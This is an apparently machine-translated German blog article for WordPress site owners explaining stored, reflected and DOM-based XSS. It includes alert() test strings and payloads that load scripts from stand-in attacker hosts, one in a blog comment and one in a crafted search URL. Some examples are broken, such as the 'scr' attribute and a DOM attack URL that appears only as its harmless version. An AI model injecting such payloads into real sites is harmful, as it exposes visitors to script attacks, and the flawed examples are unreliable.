Arten von Cross-Site-Scripting (XSS)-Angriffen

Veröffentlicht: 2022-11-04

In unserem früheren Artikel über WordPress und Cross-Site Scripting haben wir einen allgemeinen Überblick darüber gegeben, was diese Arten von Angriffen sind und wie Sie sie verhindern können. In diesem Artikel werden wir einige Details zusammen mit einigen Cross-Site-Scripting-Beispielen vertiefen. Lass uns gehen!

Beständiges XSS

Persistentes XSS (oder gespeichertes XSS) ist eine der wichtigsten Arten von Cross-Site-Scripting. Es wird als dauerhaft bezeichnet, da das, was der Angreifer einschleust, dauerhaft auf dem Server für eine spätere Verwendung gespeichert wird. Immer wenn ein Besucher auf eine bestimmte Seite geht, wird der Code vom Browser beim Laden oder beim Aufrufen einer bestimmten Funktion ausgeführt.

Persistentes XSS- Beispiel:

Nehmen wir an, dass jemand im Kommentarbereich unter einem Beitrag ein Warnskript zusammen mit einer einfachen Antwort/Meinung eingibt.

 Great solution! It works for me.<script>alert("Some text message")</script>

Wenn der Kommentarbereich angreifbar ist und die übermittelten Kommentare nicht bereinigt werden, wird dieser Code in der Datenbank gespeichert. Als Ergebnis erscheint von da an jedes Mal, wenn die Seite (von irgendjemandem) geladen wird und der „schlechte Kommentar“ zusammen mit allen Kommentaren sichtbar ist, ein Popup-Fenster mit der Nachricht.

Natürlich kann eine Warnmeldung ärgerlich sein, aber nicht wirklich schädlich. Aber was passiert, wenn der Angreifer ein bösartiges Skript anstelle der Warnmeldung wie dieser einfügt:

 Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">

Anstelle eines lästigen Popups wird der Endbenutzer den XSS-Angriff erleben. Der Schaden hängt von der Art des ausgeführten Codes ab. Aus diesem Grund gelten Stored-XSS-Angriffe als so gefährlich. Sie greifen jeden Benutzer an und erfordern nicht einmal eine Eingabe des Benutzers (Barriere, die die Seite überhaupt öffnet).

Nicht persistentes XSS

Nicht-persistentes (oder reflektierendes) XSS ist zwar nicht so gefährlich wie persistentes XSS, aber immer noch problematisch, nicht zuletzt, weil es als die häufigste Art von Cross-Site-Scripting-Angriffen gilt.

Im Wesentlichen passiert bei einem nicht persistenten XSS-Angriff, dass der Endbenutzer auf einen schädlichen Link klickt, der ihn zu einer anderen Website weiterleitet, die die Ausführung von schlechtem Code auslöst. Der Angriff erfolgt über eine präparierte URL oder HTTP-Parameter und wird nicht wie bei Persistent XSS dauerhaft in der Datenbank gespeichert.

Aber bevor ein nicht-persistenter Angriff durchgeführt wird, muss der Angreifer feststellen, ob eine Website für XSS-Angriffe anfällig ist. Eine Möglichkeit, dies zu tun, ist die Verwendung der internen Suchmaschine der Website. Wenn Sie eine Zeichenfolge eingeben, sagen wir „Schuhe“, nach der gesucht werden soll, und auf die Schaltfläche klicken, wird eine Funktion ausgeführt, die so aussieht:

 http://exampledomain.com?query=shoes

Bevor die Funktion ausgeführt wird, wird die eingegebene Zeichenfolge jedoch bereinigt, oder sollte es zumindest sein, damit das Suchformular vor böswilligen Eingaben geschützt ist.

Der Angreifer kann das Suchformular verwenden und versuchen, ein Skript wie dieses einzugeben:

 <script type="text/javascript">alert("vulnerable");</script>

Wenn das Formular nicht bereinigt ist, wird die Funktion normal ausgeführt:

 http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>

Dies würde (in diesem Beispiel) dazu führen, dass das Warn-Popup angezeigt wird. In diesem Fall weiß der Angreifer, dass das Suchformular eine XSS-Schwachstelle aufweist.

Nicht persistentes XSS-Beispiel

Falls auf einer Website eine Schwachstelle entdeckt wird, kann ein Angreifer eine URL erstellen, die wie folgt aussieht:

 http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"

Dann „maskieren“ sie die URL, damit sie nicht wie ein „schlechter“ Link aussieht, und versuchen, andere dazu zu ermutigen, darauf zu klicken. Typischerweise kann dies das Versenden von Spam-E-Mails oder das Einfügen eines Links in ein Forum sein.

DOM-basiertes XSS

Bei einem DOM-basierten XSS-Vorfall (oder clientseitigem XSS) wird der Angriff über eine URL geleitet, die den bösartigen Code enthält.

Es wird auch als clientseitige Schwachstelle angesehen, da es im Browser des Opfers ausgeführt wird, aber was hier passiert, ist, dass ein Teil des DOM geändert wird, was dazu führt, dass der Client ohne seine Zustimmung Code ausführt.

HINWEIS: Das Document Object Model (DOM) ist eine Schnittstelle, die die Layoutstruktur einer Webseite definiert, indem sie die Skriptsprache mit der eigentlichen Webseite verbindet. Um dies zu erreichen, können Entwickler auf das Dokument zugreifen und Operationen ausführen, um den Inhalt zu aktualisieren.

DOM-basiertes XSS-Beispiel:

Ein Beispiel für einen DOM-basierten Cross-Site-Scripting-Angriff kann mit einem Formular demonstriert werden, in dem Sie eine Option auswählen können, z. B. Ihr Wohnsitzland. Mal sehen, wie dies mit dem folgenden Beispiel ablaufen würde:

 Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>

Auf eine Seite mit einer ausgewählten Option im Formular kann also über eine URL wie die folgende zugegriffen werden:

 http://localhost/?country=Lithuania

Aber wenn Sie einen Eintrag wie diesen versuchen (siehe unten), erstellt der Browser ein DOM-Objekt, das diesen String enthält, und führt das Skript aus.

 http://localhost/?country=Lithuania

Das passiert, weil das Formular ungeschützt ist und der anfängliche Code nicht für HTML-Markup bereit ist. Es zeichnet also das DOM in die Seite und führt das bösartige Skript aus.

XSS-Angriffe sind allzu häufig. Eine einfache Möglichkeit, sich so gut wie möglich zu schützen, besteht darin, Plugins auf Ihrer WordPress-Website immer aktuell zu halten und einen hochwertigen Hoster zu verwenden. Wir hoffen, dass Ihnen diese Beispiele eine Vorstellung davon gegeben haben, wie diese Art von Angriffen funktionieren und worauf Sie achten müssen!